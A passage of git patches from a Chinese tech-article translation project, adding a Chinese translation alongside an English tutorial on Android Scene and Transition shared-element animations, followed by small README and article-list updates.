+    推荐小姐姐翻译的文章:https://github.com/xitu/gold-miner/pull/1578/files
+    */
+
 }
 ```
 
 As you can see above, we set the *onClickListener* on a root element – in our case, it is a CardView. We also pass it as the first argument in the *onPlaceClicked* method, while the second one is fixed TransitionName – we are simply adding a position to the transition name. We do this because we have to distinguish which child of RecyclerView needs to be transitioned. If every item has the same:
 
+如上所见，我们在 holder 的 root 对象上设置了一个 **onClickListener**，在我们的项目中，这个 root 对象就是 CardView 。我们也把它作为第一个参数传进了 **onPlaceClicked**
+方法。第二个参数是一个固定格式的转场动画名字 —— 只是简单的用位置命名。这么做的原因是我们需要区分哪个 RecycleView 的 item 需要转场动画。每一个名字的格式都是相同的：
+
 ```
 Java
 
-publicstaticStringgetRecyclerViewTransitionName(finalintposition){
+public static String getRecyclerViewTransitionName(final int position){
 
-    returnDEFAULT_TRANSITION_NAME+position;
+    return DEFAULT_TRANSITION_NAME + position;
 
 }
 ```
 
 For the last parameter, we pass the position of the clicked item. We are using the same collection of data to fill RecyclerView item and DetailsLayout, so we just want to get the specific item by the position. Below we can see the OnPlaceClickListener and BaliViewHolder
 
+最后一个参数，传入了被点击 item 的位置（position）。我们会用同样的数据集合去填充 RecycleView item 和 DetailsLayout，所以需要通过 position 获得具体的 item。下面我们会看到 OnPlaceClickListener 和 BaliViewHolder:
+
 ```
 Java
 
-interfaceOnPlaceClickListener{
+interface OnPlaceClickListener{
 
-    voidonPlaceClicked(View sharedView,StringtransitionName,finalintposition);
+    void onPlaceClicked(View sharedView,String transitionName,final int position);
 
 }
 ```
@@ -113,7 +179,7 @@ interfaceOnPlaceClickListener{
 ```
 Java
 
-staticclassBaliViewHolder extendsRecyclerView.ViewHolder{
+static class BaliViewHolder extends RecyclerView.ViewHolder{
 
  
 
@@ -142,12 +208,14 @@ staticclassBaliViewHolder extendsRecyclerView.ViewHolder{
 
 The OnPlaceClickListener is implemented in DetailsFragment – the one that has RecyclerView and Map. Let’s look at the *onPlaceClicked* method:
 
+含有有 RecycleView 和 Map 的DetailsFragment 实现了 OnPlaceClickListener 接口。让我们看一下具体的 **onPlaceClicked** 方法：
+
 ```
 Java
 
 @Override
 
-publicvoidonPlaceClicked(finalView sharedView,finalStringtransitionName,finalintposition){
+public void onPlaceClicked(final View sharedView,final String transitionName,final int position){
 
     currentTransitionName=transitionName;
 
@@ -162,29 +230,43 @@ publicvoidonPlaceClicked(finalView sharedView,finalStringtransitionName,finalint
 
 In the first place, we save *currentTransitionName* as a global variable – we will need it when we will hide scene with DetailsLayout. We also assign the Scene object to the *detailsScene* variable – it is needed to handle the *onBackPressed* method properly. In the next step, we are drawing a route between our position and the destination position; parallelly, we are hiding all markers.
 
+在最开始，我们将 *currentTransitionName* 保存为一个全局变量 —— 当隐藏 DetailsLayout 的场景（scene） 时就会用到它了。我们还用一个场景对象给变量 **detailsScene** 赋值 ——该变量负责正确的处理 **onBackPressed** 方法。下一步，我们会绘制一条我们的位置到目标位置的路径；同时，我们需要隐藏地图上所有的标记。
+
 The part that we are mostly interested in is the one showing the scene. Let’s move to DetailsLayout.
 
+我们最关心的部分是如何展示这些场景，看看 DetailsLayout 是怎么做的吧！
+
+
 ## USING SCENE FRAMEWORK TO CREATE SHARED ELEMENT TRANSITION ##
 
+## 使用场景（Scene Framework）来创建共享的转场动画 
+
 Below we have our custom CoordinatorLayout. It looks ordinary in the first part, but we have two additional two static methods – *showScene* and *hideScene* . Let’s look at them more closely:
 
+在下面是自定义的 CoordinatorLayout。一眼看上去它非常普通，但是多了两个特别的静态方法 **showScene** 和 **hideScene**。让我们再更仔细的看一下它：
+
+
 ```
 
-publicclassDetailsLayoutextendsCoordinatorLayout{
+public class DetailsLayout extends CoordinatorLayout{
 
  
 
-    @BindView(R.id.cardview)CardView cardViewContainer;
+    @BindView(R.id.cardview)
+    CardView cardViewContainer;
 
-    @BindView(R.id.headerImage)ImageView imageViewPlaceDetails;
+    @BindView(R.id.headerImage)
+    ImageView imageViewPlaceDetails;
 
-    @BindView(R.id.title)TextView textViewTitle;
+    @BindView(R.id.title)
+    TextView textViewTitle;
 
-    @BindView(R.id.description)TextView textViewDescription;
+    @BindView(R.id.description)
+    TextView textViewDescription;
 
  
 
-    publicDetailsLayout(finalContext context){
+    public DetailsLayout(final Context context){
 
         this(context,null);
 
@@ -192,7 +274,7 @@ publicclassDetailsLayoutextendsCoordinatorLayout{
 
  
 
-    publicDetailsLayout(finalContext context,finalAttributeSet attrs){
+    public DetailsLayout(final Context context,final AttributeSet attrs){
 
         super(context,attrs);
 
@@ -202,7 +284,7 @@ publicclassDetailsLayoutextendsCoordinatorLayout{
 
     @Override
 
-    protectedvoidonFinishInflate(){
+    protected void onFinishInflate(){
 
         super.onFinishInflate();
 
@@ -212,7 +294,7 @@ publicclassDetailsLayoutextendsCoordinatorLayout{
 
  
 
-    privatevoidsetData(Place place){
+    private void setData(Place place){
 
         textViewTitle.setText(place.getName());
 
@@ -222,7 +304,7 @@ publicclassDetailsLayoutextendsCoordinatorLayout{
 
  
 
-    publicstaticScene showScene(Activity activity,finalViewGroup container,finalView sharedView,finalStringtransitionName,finalPlace data){
+    public static Scene showScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName,final Place data){
 
         DetailsLayout detailsLayout=(DetailsLayout)activity.getLayoutInflater().inflate(R.layout.item_place,container,false);
 
@@ -236,13 +318,13 @@ publicclassDetailsLayoutextendsCoordinatorLayout{
 
         TransitionManager.go(scene,set);
 
-        returnscene;
+        return scene;
 
     }
 
  
 
-    publicstaticScene hideScene(Activity activity,finalViewGroup container,finalView sharedView,finalStringtransitionName){
+    public static Scene hideScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName){
 
         DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);
 
@@ -254,7 +336,7 @@ publicclassDetailsLayoutextendsCoordinatorLayout{
 
         TransitionManager.go(scene,set);
 
-        returnscene;
+        return scene;
 
     }
 
@@ -263,28 +345,34 @@ publicclassDetailsLayoutextendsCoordinatorLayout{
 
 In the first place, we are inflating the DetailsLayout. Next, we are setting the data (just the title and description for DetailsLayout). Next, we are creating TransitionSet – for our purpose, I’ve created a separate class to keep the codebase clean. The third step is to create the scene object – we just pass our inflated *detailsLayout* and *containerView* (the main ViewGroup of DetailsFragment – in our case, it is the FrameLayout that matches the whole screen and has RecyclerView as a child). To create our amazing animation, we just need to call one method – *TransitionManager.go(scene, transitionSet)*. Et voila! This is our effect:
 
+最开始我们先填充了 DetailsLayout。接下来，我们添加了一些数据（详情页的标题和描述）。最后我们创建了转场动画 —— 为了我们的目的，我创建了一个单独的类来保持代码空间干净整洁。第三步创建了一个场景对象 —— 我们传递了填充好的 **detailsLayout** 和 **containerView** （DetailsFragment 主要的 ViewGroup —— 在我们的项目中，这是覆盖整个屏幕和作为 RecycleView 的子元素的 FrameLayout）。我们只需要调用 **TransitionManager.go(scene, transitionSet)** 方法就能创建酷炫的效动画果：
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)
 
 A little bit of magic happens here. TransitionManager is a class which fires transitions when the scene change occurs. With a simple call like *TransitionManager.go(scene, transitionSet),* we are able to go to the specific scene, where some kind of transition happens. In our case, we are showing DetailsLayout with some data about a trip destination but, when using a TransitionManager, we are able to make this kind of transition which you can see above. Now, let’s see how the ShowDetailsTransitionSet is implemented.
 
- 
+魔法出现了。TransitionManager 是一个当场景发生改变时启动转场动画的类。通过简单的调用 **TransitionManager.go(scene, transitionSet)** ，我们可以转到拥有特定转场动画的特定的场景。在我们的项目中，通过使用 TransitionManager 就可以上面那种展示含有详情和旅途描述的 DetailsLayout 了。现在让我们看一下如何实现 ShowDetailsTransitionSet 吧。
 
 ## CREATING CUSTOM TransitionSet WITH TransitionBuiler ##
 
+## 使用 TransitionBuiler 创建自定义的 TransitionSet
+
 For keeping the code clean, I’ve created a TransitionBuilder – a simple class made using the Builder Pattern, which allows us to write less code to make a Transition, especially the Shared Element Transition. This is how it looks like:
 
+为了保持代码整洁，我创建了一个 TransitionBuilder —— 一个尊遵从 builder 模式的类，该类允许我们用少量的代码创建一个转场动画， 尤其是可共享的转场动画。它看起来像是这个样子的：
+
 ```
 Java
 
-publicclassTransitionBuilder{
+public class TransitionBuilder{
 
  
 
-    privateTransition transition;
+    private Transition transition;
 
  
 
-    publicTransitionBuilder(finalTransition transition){
+    public TransitionBuilder(final Transition transition){
 
         this.transition=transition;
 
@@ -292,31 +380,31 @@ publicclassTransitionBuilder{
 
  
 
-    publicTransitionBuilder duration(longduration){
+    public TransitionBuilder duration(long duration){
 
         transition.setDuration(duration);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder target(View view){
+    public TransitionBuilder target(View view){
 
         transition.addTarget(view);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder target(Classclazz){
+    public TransitionBuilder target(Classclazz){
 
         transition.addTarget(clazz);
 
-        returnthis;
+        return this;
 
     }
 
@@ -326,59 +414,59 @@ publicclassTransitionBuilder{
 
         transition.addTarget(target);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder target(inttargetId){
+    public TransitionBuilder target(int targetId){
 
         transition.addTarget(targetId);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder delay(longdelay){
+    public TransitionBuilder delay(long delay){
 
         transition.setStartDelay(delay);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder pathMotion(PathMotion motion){
+    public TransitionBuilder pathMotion(PathMotion motion){
 
         transition.setPathMotion(motion);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder propagation(TransitionPropagation propagation){
+    public TransitionBuilder propagation(TransitionPropagation propagation){
 
         transition.setPropagation(propagation);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder pair(Pair<View,String>pair){
+    public TransitionBuilder pair(Pair<View,String> pair){
 
         pair.first.setTransitionName(pair.second);
 
         transition.addTarget(pair.second);
 
-        returnthis;
+        return this;
 
     }
 
@@ -388,23 +476,23 @@ publicclassTransitionBuilder{
 
         transition.excludeTarget(view,exclude);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder excludeTarget(finalStringtargetName,finalbooleanexclude){
+    public TransitionBuilder excludeTarget(final String targetName,final boolean exclude){
 
         transition.excludeTarget(targetName,exclude);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransitionBuilder link(finalView from,finalView to,finalStringtransitionName){
+    public TransitionBuilder link(final View from,final View to,final String transitionName){
 
         from.setTransitionName(transitionName);
 
@@ -412,15 +500,15 @@ publicclassTransitionBuilder{
 
         transition.addTarget(transitionName);
 
-        returnthis;
+        return this;
 
     }
 
  
 
-    publicTransition build(){
+    public Transition build(){
 
-        returntransition;
+        return transition;
 
     }
 
@@ -429,26 +517,28 @@ publicclassTransitionBuilder{
 
 Okay, now let’s go to the ShowDetailsTransitionSet, which creates this amazing transition. In the constructor, we pass the Context object, transitionName – this is the one that is created with the position in RecyclerView – the View object that we are transitioning from and the DetailsLayout that we are transitioning to. We also call the *addTransition* method, where we pass the Transition built with TransitionBuilder and returned from a specific method – *textResize(), slide()* and *shared()*.
 
+好了，现在我们可以开始编写 ShowDetailsTransitionSet 了，正是这个类实现了酷炫的转场效果。在构造函数中，我们传递了一个上下文对象，转场名 —— 就是以 RecyclerView 的 item 的位置命名的那个 ，需要转场动画连接的 View 对象。我们还调用了 **addTransition** 方法，通过该方法传递了通过 TransitionBuilder 的具体的方法 —— *textResize(), slide()* 和 *shared()* —— 创建的转场动画。
+
 ```
 Java
 
-classShowDetailsTransitionSetextendsTransitionSet{
+class ShowDetailsTransitionSet extends TransitionSet{
 
-    privatestaticfinalStringTITLE_TEXT_VIEW_TRANSITION_NAME="titleTextView";
+    private static final String TITLE_TEXT_VIEW_TRANSITION_NAME="titleTextView";
 
-    privatestaticfinalStringCARD_VIEW_TRANSITION_NAME="cardView";
+    private static final StringCARD_VIEW_TRANSITION_NAME="cardView";
 
-    privatefinalStringtransitionName;
+    private final String transitionName;
 
-    privatefinalView from;
+    private final View from;
 
-    privatefinalDetailsLayout to;
+    private final DetailsLayout to;
 
-    privatefinalContext context;
+    private final Context context;
 
  
 
-    ShowDetailsTransitionSet(finalContext ctx,finalStringtransitionName,finalView from,finalDetailsLayout to){
+    ShowDetailsTransitionSet(final Context ctx,final String transitionName,final View from,final DetailsLayout to){
 
         context=ctx;
 
@@ -468,25 +558,25 @@ classShowDetailsTransitionSetextendsTransitionSet{
 
  
 
-    privateStringtitleTransitionName(){
+    private String titleTransitionName(){
 
-        returntransitionName+TITLE_TEXT_VIEW_TRANSITION_NAME;
+        return transitionName + TITLE_TEXT_VIEW_TRANSITION_NAME;
 
     }
 
  
 
-    privateStringcardViewTransitionName(){
+    private String cardViewTransitionName(){
 
-        returntransitionName+CARD_VIEW_TRANSITION_NAME;
+        return transitionName + CARD_VIEW_TRANSITION_NAME;
 
     }
 
  
 
-    privateTransition textResize(){
+    private Transition textResize(){
 
-        returnnewTransitionBuilder(newTextResizeTransition())
+        return new TransitionBuilder(newTextResizeTransition())
 
                 .link(from.findViewById(R.id.title),to.textViewTitle,titleTransitionName())
 
@@ -496,9 +586,9 @@ classShowDetailsTransitionSetextendsTransitionSet{
 
  
 
-    privateTransition slide(){
+    private Transition slide(){
 
-        returnnewTransitionBuilder(TransitionInflater.from(context).inflateTransition(R.transition.bali_details_enter_transition))
+        return new TransitionBuilder(TransitionInflater.from(context).inflateTransition(R.transition.bali_details_enter_transition))
 
                 .excludeTarget(transitionName,true)
 
@@ -512,9 +602,9 @@ classShowDetailsTransitionSetextendsTransitionSet{
 
  
 
-    privateTransition shared(){
+    private Transition shared(){
 
-        returnnewTransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))
+        return new TransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))
 
                 .link(from.findViewById(R.id.headerImage),to.imageViewPlaceDetails,transitionName)
 
@@ -529,10 +619,19 @@ classShowDetailsTransitionSetextendsTransitionSet{
 
 So, recapping and describing everything above:
 
+所以，总结一下上面做的事情。
+
 1. RecyclerView’s item’s title is animated as a SharedElementTransition with [TextResize](https://github.com/googlesamples/android-unsplash/blob/master/app/src/main/java/com/example/android/unsplash/transition/TextResize.java) transition (it is a specific case, which is well described in this [video](https://www.youtube.com/watch?v=4L4fLrWDvAU)).
+
+让RecyclerView item 的标题执行了 SharedElementTransition 中的 [TextResize](https://github.com/googlesamples/android-unsplash/blob/master/app/src/main/java/com/example/android/unsplash/transition/TextResize.java)  动画（这是一个特定的项目,[这里](https://www.youtube.com/watch?v=4L4fLrWDvAU)有详细解释）。
+
 2. The whole layout has a custom slide transition, implemented with some of kind start delay for a specific child.
+
+整个布局执行了一个滑动的转场动画，实现了某种意义上的延迟加载。
+
 3. The RecyclerView’s item’s header and container have SharedElementTransition implemented with a Move transition – the default transition for Android’s framework.
 
+RecycleView 的item 的标题和内容通过 实现SharedElementTransition 有了一个转场动画 —— 默认使用的 android 自身的框架
 ```
 XHTML
 
@@ -615,18 +714,25 @@ XHTML
 
 With this set of different transitions we are able to create this “enter transition” for our layout:
 
-![](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)
+通过这些不同的转场动画，我们就可以为我们的布局创建进入的效果
+！
+
+[](https://www.thedroidsonroids.com/wp-content/uploads/2017/04/ezgif.com-video-to-gif-1.gif?x77083)
 
 Looks awesome to me! But what about a returning scene? Look below!
 
- 
+在我看起来真是碉堡了！但是返回怎么办呢？看下面。
 
 ## RETURNING TO THE PREVIOUS Scene AND HANDLING *onBackPress* ##
 
-As you can remember, we have two methods in DetailsLayout – *showScene* and *hideScene.* We’ve just covered the first method, but what’s with the second method? Let’s cover it too!
+## 返回上一步场景，处理 **onBackPress**
+
+As you can remember, we have two methods in  DetailsLayout 中 – *showScene* and *hideScene.* We’ve just covered the first method, but what’s with the second method? Let’s cover it too!
+
+如果你还记得的话，我们在 DetailsLayout 中写了两个方法 —— *showScene* 和 *hideScene*。我们已经写了第一个方法，但是第二个方法是什么样的呢？让我们继续把它也写完吧。
 
 ```
-publicstaticScene hideScene(Activity activity,finalViewGroup container,finalView sharedView,finalStringtransitionName){
+public static Scene hideScene(Activity activity,final ViewGroup container,final View sharedView,final String transitionName){
 
     DetailsLayout detailsLayout=(DetailsLayout)container.findViewById(R.id.bali_details_container);
 
@@ -638,33 +744,35 @@ publicstaticScene hideScene(Activity activity,finalViewGroup container,finalView
 
     TransitionManager.go(scene,set);
 
-    returnscene;
+    return scene;
 
 }
 ```
 
 Now, there are few changes. We’ve added the DetailsLayout to DetailsFragment’s container (the FrameLayout mentioned before). So, to obtain DetailsLayout, we have to call *findViewById* on this container. Then, we have to create the TransitionSet with specific targets and specified settings. For this purpose, I’ve also written another class which inherits from TransitionSet – HideDetailsTransitionSet. This is how it looks:
 
+现在，有一些小的改变。既然在 DetailsFragment 容器(之前提到的那个 FrameLayout) 上面添加了一个 DetailsLayout ，所以为了获得 DetailsLayout，我们还得在容器里调用 **findViewById**。然后我们必须创建特定的对象和转场，编写特定的设置。为此，我也写了另一个类来继承 TransitionSet —— HideDetailsTransitionSet。它看起来像是这个样子的：
+
 ```
 Java
 
-classHideDetailsTransitionSetextendsTransitionSet{
+class HideDetailsTransitionSet extends TransitionSet{
 
-    privatestaticfinalStringTITLE_TEXT_VIEW_TRANSITION_NAME="titleTextView";
+    private static final String TITLE_TEXT_VIEW_TRANSITION_NAME="titleTextView";
 
-    privatestaticfinalStringCARD_VIEW_TRANSITION_NAME="cardView";
+    private static final String CARD_VIEW_TRANSITION_NAME="cardView";
 
-    privatefinalStringtransitionName;
+    private final String transitionName;
 
-    privatefinalView from;
+    private final View from;
 
-    privatefinalDetailsLayout to;
+    private final DetailsLayout to;
 
-    privatefinalContext context;
+    private final Context context;
 
  
 
-    HideDetailsTransitionSet(finalContext ctx,finalStringtransitionName,finalView from,finalDetailsLayout to){
+    HideDetailsTransitionSet(final Context ctx,final String transitionName,final View from,final DetailsLayout to){
 
         context=ctx;
 
@@ -682,25 +790,25 @@ classHideDetailsTransitionSetextendsTransitionSet{
 
  
 
-    privateStringtitleTransitionName(){
+    private String titleTransitionName(){
 
-        returntransitionName+TITLE_TEXT_VIEW_TRANSITION_NAME;
+        return transitionName+TITLE_TEXT_VIEW_TRANSITION_NAME;
 
     }
 
  
 
-    privateStringcardViewTransitionName(){
+    private String cardViewTransitionName(){
 
-        returntransitionName+CARD_VIEW_TRANSITION_NAME;
+        return transitionName+CARD_VIEW_TRANSITION_NAME;
 
     }
 
  
 
-    privateTransition textResize(){
+    private Transition textResize(){
 
-        returnnewTransitionBuilder(newTextResizeTransition())
+        return newTransitionBuilder(newTextResizeTransition())
 
                 .link(from.findViewById(R.id.title),to.textViewTitle,titleTransitionName())
 
@@ -710,9 +818,9 @@ classHideDetailsTransitionSetextendsTransitionSet{
 
  
 
-    privateTransition shared(){
+    private Transition shared(){
 
-        returnnewTransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))
+        return new TransitionBuilder(TransitionInflater.from(context).inflateTransition(android.R.transition.move))
 
                 .link(from.findViewById(R.id.headerImage),to.imageViewPlaceDetails,transitionName)
 
@@ -727,18 +835,31 @@ classHideDetailsTransitionSetextendsTransitionSet{
 
 In this case, we have *textResize**()* and *shared()* transitions once again. If you look closely at both methods, you will see that this TranstionBuilder has method *link()*. This method takes three parameters – sourceView, targetView and transitionName. It simply puts transitionName on sourceView and targetView, as well as placing it as a target on Transition object. So it’s used to “link” two views for Shared Element Transition.
 
+在这个项目，我们又一次编写了 **textResize()** 和 **shared()** 。如果你仔细检查两个方法的话，你会发现 TranstionBuilder 有 **link()**
+ 方法。这种方法接收了3个参数 —— 源头 view、目标 view 和动画名字。它把转场动画的名字添加给了 源头 View 和目标 view，就像把它指定到了一个转场对象上。所以它用来“连接（link）” 两个view。
+ 
 The rest looks the same. We create the Scene object, call TransitionManager*.go()* and voila! We have returned to the previous state!
 
+剩下的部分就一样啦，我们又创建了一个场景对象，调用 TransitionManager.**go()** 然后哈利路亚~我们就可以返回之前的状态了。
+
  
 
 ## CONCLUSION ##
 
+## 结语
+
 As we can see – the sky’s the limit! We are able to create meaningful transitions with activities, fragments and even the layouts! Scenes and Transitions are really powerful and can really improve the UI and UX. What are the benefits from this solution? First of all, we don’t have another lifecycle to care about.  Secondly, there are some libraries that help us to create “fragmentless” UI. Applied with Scenes and Transitions, we can develop a pretty nice app. Thirdly, this approach is really rare, however, I think it’s giving us more control.
 
+如我们所见 —— 天空才是我们的极限。我们可以创造有意义的转场动画连接 activity、fragment 甚至是 layout。场景和转场动画十分流弊，增进了用户界面和 用户体验。这种解决方案有什么好处呢？首先，我们不需要在关注另一个生命周期。其次，有许多第三方的库帮我们创建不需要 fragment 的用户界面。通过部署场景和转场动画，我们开发了一个非常不错的 app。第三，该方案很少见，但是确实让我们能更多的控制效果的实现。
+
 That’s all folks! Thank you very much for reading my series of posts, I hope you liked it!
 
+就这么多了。非常感谢阅读这一系列的文章，希望你喜欢它！
+
 See you soon!
 
+铁甲依然在！
+
 Mariusz Brona aka panwrona
 
 ---

From 4caa91f0209378cac81cbd1d7c41fdaafedd84ec Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 16 May 2017 22:18:23 +0800
Subject: [PATCH 476/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 4358eb7bc20..2c982ad088b 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [497](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [498](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -41,10 +41,10 @@
 
 ## 前端
 
+* [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
 * [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
-* [前端调试技巧与诀窍](https://juejin.im/post/5901e8d6a0bb9f0065e64f63?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 25fb71042572a36de3abfbd696a0b534dbb9049b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 16 May 2017 22:19:29 +0800
Subject: [PATCH 477/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index 160f70a0fe4..ae5fa341f5a 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
 * [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
 * [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)

From 8cbfdbbf021e25a30f77df233879a45e058252fe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 16 May 2017 22:23:28 +0800
Subject: [PATCH 478/638] Update front-end.md

---
 front-end.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/front-end.md b/front-end.md
index ae5fa341f5a..988aa885dda 100644
--- a/front-end.md
+++ b/front-end.md
@@ -1,3 +1,4 @@
+* [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
 * [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)

From a7f7b9427c2dcd708eb59f9cd5279359b029581e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 16 May 2017 22:24:36 +0800
Subject: [PATCH 479/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 2c982ad088b..1f09c966026 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [498](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [499](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -41,10 +41,10 @@
 
 ## 前端
 
+* [光速 React](https://juejin.im/post/591ad6b7128fe1005ce1123a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([ZhangFe](https://github.com/ZhangFe) 翻译)
 * [我是如何实现世界上最快的 JavaScript 记忆化的](https://juejin.im/post/5912b635a0bb9f0058b44c60?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Aladdin-ADD](https://github.com/Aladdin-ADD) 翻译)
 * [别让你的偏爱拖了后腿：快拥抱箭头函数吧！](https://juejin.im/post/59158c92a0bb9f005fd58fd7?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
 * [为何 TypeScript 愈发流行了？](https://juejin.im/post/59152911a22b9d0058fd5fe8?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([loveky](https://github.com/loveky) 翻译)
-* [何为 HTML API，如何设计之？](https://juejin.im/entry/59131ee7a0bb9f0058ba4a88/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Romeo0906](https://github.com/Romeo0906) 翻译)
 * [所有前端译文>>](https://github.com/xitu/gold-miner/blob/master/front-end.md)
 
 

From 14c58f86a19136bd8c41aa14ca1a062355139cab Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 17 May 2017 10:58:59 +0800
Subject: [PATCH 480/638] Update quantum-up-close-what-is-a-browser-engine.md

---
 TODO/quantum-up-close-what-is-a-browser-engine.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

